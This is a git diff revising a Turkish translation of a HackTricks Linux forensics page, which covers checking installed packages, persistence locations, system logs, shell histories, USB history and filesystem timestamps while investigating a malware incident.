@ -178,14 +178,14 @@ Kötü amaçlı yazılımları bulmak için faydalı olabilecek araçlar hakkın
[malware-analysis.md](malware-analysis.md) [malware-analysis.md](malware-analysis.md)
{% endcontent-ref %} {% endcontent-ref %}
## Yüklenmiş Programları Arayın ## Yüklenen Programları Arayın
Debian ve RedHat sistemlerinde yüklenmiş programları etkili bir şekilde aramak için sistem günlüklerini ve veritabanlarını, yaygın dizinlerde manuel kontrolle birlikte kullanmayı düşünün. Debian ve RedHat sistemlerinde yüklenen programları etkili bir şekilde aramak için sistem günlüklerini ve veritabanlarını, yaygın dizinlerde manuel kontrolle birlikte kullanmayı düşünün.
* Debian için, paket yüklemeleri hakkında ayrıntıları almak için _**`/var/lib/dpkg/status`**_ ve _**`/var/log/dpkg.log`**_ dosyalarını inceleyin, belirli bilgileri filtrelemek için `grep` kullanın. * Debian için, paket yüklemeleri hakkında ayrıntıları almak için _**`/var/lib/dpkg/status`**_ ve _**`/var/log/dpkg.log`**_ dosyalarını inceleyin, belirli bilgileri filtrelemek için `grep` kullanın.
* RedHat kullanıcıları, yüklü paketleri listelemek için `rpm -qa --root=/mntpath/var/lib/rpm` ile RPM veritabanını sorgulayabilir. * RedHat kullanıcıları, yüklü paketleri listelemek için `rpm -qa --root=/mntpath/var/lib/rpm` ile RPM veritabanını sorgulayabilir.
Bu paket yöneticileri dışında veya manuel olarak yüklenen yazılımları bulmak için _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ ve _**`/sbin`**_ gibi dizinleri keşfedin. Dizin listelerini sistem özel komutlarla birleştirerek, bilinen paketlerle ilişkilendirilmeyen yürütülebilir dosyaları tanımlamak için arama işleminizi geliştirin. Bu paket yöneticileri dışında manuel olarak veya bunların dışında yüklenen yazılımları bulmak için _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ ve _**`/sbin`**_ gibi dizinleri keşfedin. Dizin listelerini sistem özel komutlarla birleştirerek, bilinen paketlerle ilişkilendirilmemiş yürütülebilir dosyaları tanımlamak için aramanızı geliştirin.
```bash ```bash
# Debian package and log details # Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:" cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -201,7 +201,7 @@ find /sbin/ exec rpm -qf {} \; | grep "is not"
# Find exacuable files # Find exacuable files
find / -type f -executable | grep <something> find / -type f -executable | grep <something>
``` ```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
@ -209,9 +209,9 @@ Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Silinen Çalışan İkili Dosyaları Kurtarın ## Silinmiş Çalışan İkili Dosyaları Kurtarın
/tmp/exec dizininden çalıştırılan ve silinen bir işlemi hayal edin. Bu çıkarılabilir. /tmp/exec dizininden çalıştırılan ve silinen bir işlemi hayal edin. Bu dosyayı kurtarmak mümkündür.
```bash ```bash
cd /proc/3746/ #PID with the exec file deleted cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000 head -1 maps #Get address of the file. It was 08048000-08049000
@ -235,9 +235,9 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
``` ```
### Hizmetler ### Hizmetler
Bir kötü amaçlı yazılımın yüklenebileceği hizmetlerin bulunduğu yollar: Bir kötü amaçlı yazılımın yüklenebileceği hizmetlerin yolları:
- **/etc/inittab**: rc.sysinit gibi başlangıç betiklerini çağırır, daha sonra başlangıç betiklerine yönlendirir. - **/etc/inittab**: rc.sysinit gibi başlatma betiklerini çağırır, daha sonra başlangıç betiklerine yönlendirir.
- **/etc/rc.d/** ve **/etc/rc.boot/**: Hizmet başlatma betiklerini içerir, ikincisi eski Linux sürümlerinde bulunur. - **/etc/rc.d/** ve **/etc/rc.boot/**: Hizmet başlatma betiklerini içerir, ikincisi eski Linux sürümlerinde bulunur.
- **/etc/init.d/**: Debian gibi belirli Linux sürümlerinde başlangıç betiklerini depolamak için kullanılır. - **/etc/init.d/**: Debian gibi belirli Linux sürümlerinde başlangıç betiklerini depolamak için kullanılır.
- Hizmetler ayrıca **/etc/inetd.conf** veya **/etc/xinetd/** üzerinden etkinleştirilebilir, Linux varyantına bağlı olarak değişir. - Hizmetler ayrıca **/etc/inetd.conf** veya **/etc/xinetd/** üzerinden etkinleştirilebilir, Linux varyantına bağlı olarak değişir.
@ -257,10 +257,10 @@ Kötü amaçlı yazılımlar tarafından kök kiti bileşeni olarak sıkça kull
### Diğer Otomatik Başlatma Konumları ### Diğer Otomatik Başlatma Konumları
Linux, kullanıcı oturumılışında otomatik olarak programları çalıştırmak için çeşitli dosyalar kullanır ve potansiyel olarak kötü amaçlı yazılımları barındırabilir: Linux, kullanıcı oturumu açıldığında otomatik olarak programları çalıştırmak için çeşitli dosyalar kullanır ve potansiyel olarak kötü amaçlı yazılımları barındırabilir:
- **/etc/profile.d/**\*, **/etc/profile** ve **/etc/bash.bashrc**: Herhangi bir kullanıcı oturumu açılışında çalıştırılır. - **/etc/profile.d/**\*, **/etc/profile** ve **/etc/bash.bashrc**: Herhangi bir kullanıcı oturumu açıldığında çalıştırılır.
- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile** ve **\~/.config/autostart**: Kullanıcıya özgü dosyalar, kullanıcı oturumu açılışlarında çalıştırılır. - **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile** ve **\~/.config/autostart**: Kullanıcıya özgü dosyalar, kullanıcı oturumu açıldığında çalıştırılır.
- **/etc/rc.local**: Tüm sistem hizmetleri başladıktan sonra çalışır, çoklu kullanıcı ortamına geçişin sonunu işaretler. - **/etc/rc.local**: Tüm sistem hizmetleri başladıktan sonra çalışır, çoklu kullanıcı ortamına geçişin sonunu işaretler.
## Günlükleri İnceleme ## Günlükleri İnceleme
@ -270,24 +270,24 @@ Linux sistemleri, kullanıcı etkinliklerini ve sistem olaylarını çeşitli g
- **/var/log/syslog** (Debian) veya **/var/log/messages** (RedHat): Sistem genelindeki mesajları ve etkinlikleri yakalar. - **/var/log/syslog** (Debian) veya **/var/log/messages** (RedHat): Sistem genelindeki mesajları ve etkinlikleri yakalar.
- **/var/log/auth.log** (Debian) veya **/var/log/secure** (RedHat): Kimlik doğrulama denemelerini, başarılı ve başarısız girişleri kaydeder. - **/var/log/auth.log** (Debian) veya **/var/log/secure** (RedHat): Kimlik doğrulama denemelerini, başarılı ve başarısız girişleri kaydeder.
- İlgili kimlik doğrulama olaylarını filtrelemek için `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` komutunu kullanın. - İlgili kimlik doğrulama olaylarını filtrelemek için `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` komutunu kullanın.
- **/var/log/boot.log**: Sistem başlangıç mesajlarını içerir. - **/var/log/boot.log**: Sistem başlatma mesajlarını içerir.
- **/var/log/maillog** veya **/var/log/mail.log**: E-posta sunucusu etkinliklerini kaydeder, e-posta ile ilgili hizmetleri izlemek için faydalıdır. - **/var/log/maillog** veya **/var/log/mail.log**: E-posta sunucusu etkinliklerini kaydeder, e-posta ile ilgili hizmetleri izlemek için faydalıdır.
- **/var/log/kern.log**: Hata ve uyarıları içeren çekirdek mesajlarını saklar. - **/var/log/kern.log**: Hata ve uyarıları içeren çekirdek mesajlarını saklar.
- **/var/log/dmesg**: Aygıt sürücüsü mesajlarını tutar. - **/var/log/dmesg**: Aygıt sürücüsü mesajlarını tutar.
- **/var/log/faillog**: Güvenlik ihlali soruşturmalarına yardımcı olan başarısız giriş denemelerini kaydeder. - **/var/log/faillog**: Güvenlik ihlali soruşturmalarına yardımcı olan başarısız giriş denemelerini kaydeder.
- **/var/log/cron**: Cron işi yürütmelerini kaydeder. - **/var/log/cron**: Cron işi yürütmelerini kaydeder.
- **/var/log/daemon.log**: Arka planda çalışan hizmet etkinliklerini izler. - **/var/log/daemon.log**: Arka plandaki hizmet etkinliklerini izler.
- **/var/log/btmp**: Başarısız giriş denemelerini belgeler. - **/var/log/btmp**: Başarısız giriş denemelerini belgeler.
- **/var/log/httpd/**: Apache HTTPD hata ve erişim günlüklerini içerir. - **/var/log/httpd/**: Apache HTTPD hata ve erişim günlüklerini içerir.
- **/var/log/mysqld.log** veya **/var/log/mysql.log**: MySQL veritabanı etkinliklerini kaydeder. - **/var/log/mysqld.log** veya **/var/log/mysql.log**: MySQL veritabanı etkinliklerini kaydeder.
- **/var/log/xferlog**: FTP dosya transferlerini kaydeder. - **/var/log/xferlog**: FTP dosya transferlerini kaydeder.
- **/var/log/**: Burada beklenmeyen günlükleri kontrol etmek her zaman önemlidir. - **/var/log/**: Burada beklenmedik günlükleri her zaman kontrol edin.
{% hint style="info" %} {% hint style="info" %}
Linux sistem günlükleri ve denetim alt sistemleri, bir sızma veya kötü amaçlı yazılım olayında devre dışı bırakılabilir veya silinebilir. Linux sistemlerinde günlükler genellikle kötü amaçlı etkinlikler hakkında en kullanışlı bilgileri içerdiğinden, sızıntı yapanlar genellikle bunları siler. Bu nedenle, mevcut günlük dosyalarını inceleyerek, silinme veya oynama belirtisi olabilecek boşlukları veya sırasız girişleri aramak önemlidir. Linux sistem günlükleri ve denetim alt sistemleri, bir sızma veya kötü amaçlı yazılım olayında devre dışı bırakılabilir veya silinebilir. Linux sistemlerinde günlükler genellikle kötü amaçlı etkinlikler hakkında en kullanışlı bilgileri içerdiğinden, sızanlar genellikle bunları siler. Bu nedenle, mevcut günlük dosyalarını inceleyerek, silinme veya oynama belirtisi olabilecek boşlukları veya sırasız girişleri aramak önemlidir.
{% endhint %} {% endhint %}
**Linux, her kullanıcı için bir komut geçmişini saklar**, şurada depolanır: **Linux, her kullanıcı için bir komut geçmişini** şu yerlerde saklar:
- \~/.bash\_history - \~/.bash\_history
- \~/.zsh\_history - \~/.zsh\_history
@ -295,32 +295,32 @@ Linux sistem günlükleri ve denetim alt sistemleri, bir sızma veya kötü ama
- \~/.python\_history - \~/.python\_history
- \~/.\*\_history - \~/.\*\_history
Ayrıca, `last -Faiwx` komutu bir kullanıcı girişleri listesi sağlar. Bilinmeyen veya beklenmeyen girişleri kontrol edin. Ayrıca, `last -Faiwx` komutu bir kullanıcı girişleri listesi sağlar. Bilinmeyen veya beklenmeyen girişler için kontrol edin.
Ek ayrıcalıklar sağlayabilecek dosyaları kontrol edin: Ek ayrıcalıklar sağlayabilecek dosyaları kontrol edin:
- Beklenmedik kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers` dosyasını inceleyin. - Verilmemiş kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers` dosyasını inceleyin.
- Beklenmedik kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers.d/` dizinini inceleyin. - Verilmemiş kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers.d/` dizinini inceleyin.
- Olağandışı grup üyeliklerini veya izinleri belirlemek için `/etc/groups` dosyasını inceleyin. - Olağandışı grup üyeliklerini veya izinleri belirlemek için `/etc/groups` dosyasını inceleyin.
- Olağandışı grup üyeliklerini veya izinleri belirlemek için `/etc/passwd` dosyasını inceleyin. - Olağandışı grup üyeliklerini veya izinleri belirlemek için `/etc/passwd` dosyasını inceleyin.
Bazı uygulamalar kendi günlüklerini oluşturur: Bazı uygulamalar kendi günlüklerini oluşturur:
- **SSH**: Yetkisiz uzak bağlantılar için _\~/.ssh/authorized\_keys_ ve _\~/.ssh/known\_hosts_ dosyalarını inceleyin. - **SSH**: Yetkisiz uzak bağlantılar için _\~/.ssh/authorized\_keys_ ve _\~/.ssh/known\_hosts_ dosyalarını inceleyin.
- **Gnome Masaüstü**: Gnome uygulamaları aracılığıyla son erişilen dosyaları bulmak için _\~/.recently-used.xbel_ dosyasına bakın. - **Gnome Masaüstü**: Gnome uygulamaları aracılığıyla son erişilen dosyalar için _\~/.recently-used.xbel_ dosyasına bakın.
- **Firefox/Chrome**: Şüpheli etkinlikler için tarayıcı geçmişini ve indirmeleri _\~/.mozilla/firefox_ veya _\~/.config/google-chrome_ dizinlerinde kontrol edin. - **Firefox/Chrome**: Şüpheli etkinlikler için _\~/.mozilla/firefox_ veya _\~/.config/google-chrome_ dizinlerinde tarayıcı geçmişini ve indirmeleri kontrol edin.
- **VIM**: Erişilen dosya yolları ve arama geçmişi gibi kullanım detayları için _\~/.viminfo_ dosyasını inceleyin. - **VIM**: Erişilen dosya yolları ve arama geçmişi gibi kullanım detayları için _\~/.viminfo_ dosyasını inceleyin.
- **Open Office**: Kompromize uğramış dosyaları gösterebilecek son belge erişimlerini kontrol edin. - **Open Office**: Kompromize uğramış dosyaları gösterebilecek son belge erişimlerini kontrol edin.
- **FTP/SFTP**: Yetkisiz dosya transferlerini belirlemek için _\~/.ftp\_history_ veya _\~/.sftp\_history_ günlüklerini inceleyin. - **FTP/SFTP**: Yetkisiz dosya transferleri için _\~/.ftp\_history_ veya _\~/.sftp\_history_ günlüklerini inceleyin.
- **MySQL**: Yetkisiz veritabanı etkinliklerini ortaya çıkarabilecek _\~/.mysql\_history_ dosyasını inceleyin. - **MySQL**: Yetkisiz veritabanı etkinliklerini ortaya çıkarabilecek _\~/.mysql\_history_ dosyasını inceleyin.
- **Less**: Görüntülenen dosyaları ve yürütülen komutları içeren _\~/.lesshst_ dosyasını analiz edin. - **Less**: Görüntülenen dosyaları ve yürütülen komutları içeren _\~/.lesshst_ dosyasını analiz edin.
- **Git**: Depolardaki değişiklikleri belirlemek için _\~/.gitconfig_ ve proje _.git/logs_ dosyalarını inceleyin. - **Git**: Depolardaki değişiklikler için _\~/.gitconfig_ ve proje _.git/logs_ dosyalarını inceleyin.
### USB Günlükleri ### USB Günlükleri
[**usbrip**](https://github.com/snovvcrash/usbrip), USB olay geçmişi tabloları oluşturmak için Linux günlük dosyalarını (`/var/log/syslog*` veya `/var/log/messages*` dağıtıma bağlı olarak) ayrıştıran saf Python 3 ile yazılmış küçük bir yazılımdır. [**usbrip**](https://github.com/snovvcrash/usbrip), USB olay geçmişi tablolarını oluşturmak için Linux günlük dosyalarını (`/var/log/syslog*` veya `/var/log/messages*`, dağıtıma bağlı olarak) ayrıştıran saf Python 3 dilinde yazılmış küçük bir yazılımdır.
**Kullanılan tüm USB'leri bilmek** ilginç olacaktır ve yetkili bir USB listesine sahipseniz "ihlal olaylarını" bulmak için daha da faydalı olacaktır (bu listede olmayan USB'lerin kullanımı). **Kullanılan tüm USB'leri bilmek ilginç olacaktır** ve yetkili bir USB listesine sahipseniz "ihlal olaylarını" bulmak için (bu listede olmayan USB'lerin kullanımı) daha da faydalı olacaktır.
### Kurulum ### Kurulum
```bash ```bash
@ -337,15 +337,15 @@ usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
``` ```
Daha fazla örnek ve bilgi için github içeriğine bakabilirsiniz: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) Daha fazla örnek ve bilgi için github içeriğine bakabilirsiniz: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Kullanıcı Hesaplarını ve Oturum Etkinliklerini İnceleme ## Kullanıcı Hesaplarını ve Oturum Açma Etkinliklerini İnceleme
Bilinen yetkisiz olaylara yakın zamanda oluşturulan veya kullanılan sıradışı isimleri veya hesapları incelemek için _**/etc/passwd**_, _**/etc/shadow**_ ve **güvenlik günlüklerini** kontrol edin. Ayrıca, olası sudo kaba kuvvet saldırılarını kontrol edin.\ Bilinen yetkisiz olaylara yakın zamanda oluşturulan veya kullanılan sıradışı isimleri veya hesapları incelemek için _**/etc/passwd**_, _**/etc/shadow**_ ve **güvenlik günlüklerini** kontrol edin. Ayrıca, olası sudo kaba kuvvet saldırılarını kontrol edin.\
Ayrıca, kullanıcılara verilen beklenmeyen ayrıcalıkları kontrol etmek için _**/etc/sudoers**_ ve _**/etc/groups**_ gibi dosyaları kontrol edin.\ Ayrıca, kullanıcılara verilen beklenmeyen ayrıcalıkları kontrol etmek için _**/etc/sudoers**_ ve _**/etc/groups**_ gibi dosyaları kontrol edin.\
@ -355,18 +355,18 @@ Son olarak, **şifresiz hesapları** veya **kolayca tahmin edilebilen** şifrele
### Zararlı Yazılım İncelemesinde Dosya Sistemi Yapılarını Analiz Etme ### Zararlı Yazılım İncelemesinde Dosya Sistemi Yapılarını Analiz Etme
Zararlı yazılım olaylarını araştırırken, dosya sisteminin yapısı, olayların sıralamasını ve zararlı yazılımın içeriğini ortaya koyan önemli bir bilgi kaynağıdır. Ancak, zararlı yazılım yazarları, dosya zaman damgalarını değiştirme veya veri depolamak için dosya sistemini kullanmaktan kaçınma gibi analizi engelleyen teknikler geliştirmektedir. Zararlı yazılım olaylarını araştırırken, dosya sistemi yapısı bilgi kaynağı olarak hayati öneme sahiptir, olayların sırasını ve zararlı yazılımın içeriğini ortaya çıkarır. Ancak, zararlı yazılım yazarları, dosya zaman damgalarını değiştirme veya veri depolamak için dosya sisteminden kaçınma gibi analizi engellemek için teknikler geliştirmektedir.
Bu anti-forensik yöntemlere karşı koymak için şunlar önemlidir: Bu anti-forensik yöntemlere karşı koymak için şunlar önemlidir:
* **Olay zaman çizelgesi analizi** yapmak için **Autopsy** gibi araçları kullanarak detaylı zaman çizelgesi verileri için **Sleuth Kit's** `mactime` kullanın. * **Olay zaman çizelgesi analizi** yapmak için **Autopsy** gibi araçları kullanarak olay zaman çizelgelerini görselleştirmek veya ayrıntılı zaman çizelgesi verileri için **Sleuth Kit's** `mactime` kullanmak.
* Saldırganlar tarafından kullanılan kabuk veya PHP betiklerini içerebilecek sistem $PATH'indeki **beklenmeyen betikleri** inceleyin. * Saldırganlar tarafından kullanılan kabuk veya PHP betiklerini içerebilecek **sistem $PATH'indeki beklenmedik betikleri** inceleyin.
* **/dev** içindeki tipik olmayan dosyaları inceleyin, genellikle özel dosyalar içerir ancak zararlı yazılımla ilişkili dosyaları içerebilir. * **/dev** içindeki tipik olmayan dosyaları inceleyin, genellikle özel dosyalar içerir ancak zararlı yazılımla ilişkili dosyaları içerebilir.
* ".. " (nokta nokta boşluk) veya "..^G" (nokta nokta kontrol-G) gibi adlara sahip **gizli dosyaları veya dizinleri** arayın, bu dosyalar kötü amaçlı içeriği gizleyebilir. * ".. " (nokta nokta boşluk) veya "..^G" (nokta nokta kontrol-G) gibi adlara sahip **gizli dosyaları veya dizinleri** arayın, bu dosyalar kötü amaçlı içeriği gizleyebilir.
* `find / -user root -perm -04000 -print` komutunu kullanarak **setuid root dosyalarını** belirleyin. Bu, saldırganlar tarafından kötüye kullanılabilecek yükseltilmiş izinlere sahip dosyaları bulur. * `find / -user root -perm -04000 -print` komutunu kullanarak **setuid root dosyalarını** belirleyin. Bu, saldırganlar tarafından kötüye kullanılabilecek yüksek izinlere sahip dosyaları bulur.
* Kök kiti veya truva atları varlığını gösterebilecek **kütle dosya silmelerini** belirlemek için inode tablolarındaki silme zaman damgalarını inceleyin. * İnode tablolarındaki **silme zaman damgalarını** inceleyerek, kök kiti veya truva atlarının varlığını gösterebilecek toplu dosya silmelerini tespit edin.
* Bir tane belirledikten sonra yakındaki kötü amaçlı dosyaları içeren **ardışık inode'ları** inceleyin, çünkü bunlar birlikte yerleştirilmiş olabilir. * Bir tane belirledikten sonra **yan yana kötü amaçlı dosyaları** tanımlamak için ardışık inode'ları inceleyin.
* **Son zamanlarda değiştirilmiş dosyaları** belirlemek için yaygın ikili dizinleri (_/bin_, _/sbin_) kontrol edin, çünkü bunlar zararlı yazılım tarafından değiştirilmiş olabilir. * **Son zamanlarda değiştirilmiş dosyaları** bulmak için yaygın ikili dizinleri (_/bin_, _/sbin_) kontrol edin, çünkü bunlar zararlı yazılım tarafından değiştirilmiş olabilir.
````bash ````bash
# List recent files in a directory: # List recent files in a directory:
ls -laR --sort=time /bin``` ls -laR --sort=time /bin```
@ -384,25 +384,25 @@ ls -lai /bin | sort -n```
Değişiklikleri belirlemek ve dosya sistem sürümlerini karşılaştırmak için basitleştirilmiş `git diff` komutlarını kullanırız: Değişiklikleri belirlemek ve dosya sistem sürümlerini karşılaştırmak için basitleştirilmiş `git diff` komutlarını kullanırız:
* **Yeni dosyaları bulmak** için iki dizini karşılaştırın: * **Yeni dosyaları bulmak için**, iki dizini karşılaştırın:
```bash ```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
``` ```
* **Değiştirilmiş içerik için**, belirli satırları yok sayarak değişiklikleri listeleyin: * **Değiştirilmiş içerik için**, belirli satırları yok sayarak değişiklikleri listele:
```bash ```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
``` ```
* **Silinmiş dosyaları tespit etmek için**: * **Silinmiş dosyaları tespit etmek**:
```bash ```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
``` ```
* **Filtre seçenekleri** (`--diff-filter`), eklenen (`A`), silinen (`D`) veya değiştirilen (`M`) dosyalar gibi belirli değişikliklere odaklanmayı sağlar. * **Filtre seçenekleri** (`--diff-filter`), eklenen (`A`), silinen (`D`) veya değiştirilen (`M`) dosyalar gibi belirli değişikliklere odaklanmanıza yardımcı olur.
* `A`: Eklenen dosyalar * `A`: Eklenen dosyalar
* `C`: Kopyalanan dosyalar * `C`: Kopyalanan dosyalar
* `D`: Silinen dosyalar * `D`: Silinen dosyalar
* `M`: Değiştirilen dosyalar * `M`: Değiştirilen dosyalar
* `R`: Yeniden adlandırılan dosyalar * `R`: Yeniden adlandırılan dosyalar
* `T`: Tür değişiklikleri (ör. dosyadan sembolik bağlantıya) * `T`: Tür değişiklikleri (ör. dosya simgeye)
* `U`: Birleştirilmemiş dosyalar * `U`: Birleştirilmemiş dosyalar
* `X`: Bilinmeyen dosyalar * `X`: Bilinmeyen dosyalar
* `B`: Bozuk dosyalar * `B`: Bozuk dosyalar
@ -416,22 +416,22 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
<details> <details>
<summary><strong>Sıfırdan başlayarak AWS hacklemeyi</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin!</strong></summary> <summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
**Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizi **HackTricks'te reklamını görmek** ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! **Bir ** **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizi **HackTricks'te** reklamını görmek ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) sahip olun * [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** takip edin. * **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
**Hacking püf noktalarınızı göndererek HackTricks deposuna** [**PR göndererek**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud deposuna**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın.** **Hacking püf noktalarınızı göndererek HackTricks deposuna** [**PR göndererek**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud deposuna**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın.**
</details> </details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -6,18 +6,18 @@
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi**]'ni(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i(https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
</details> </details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
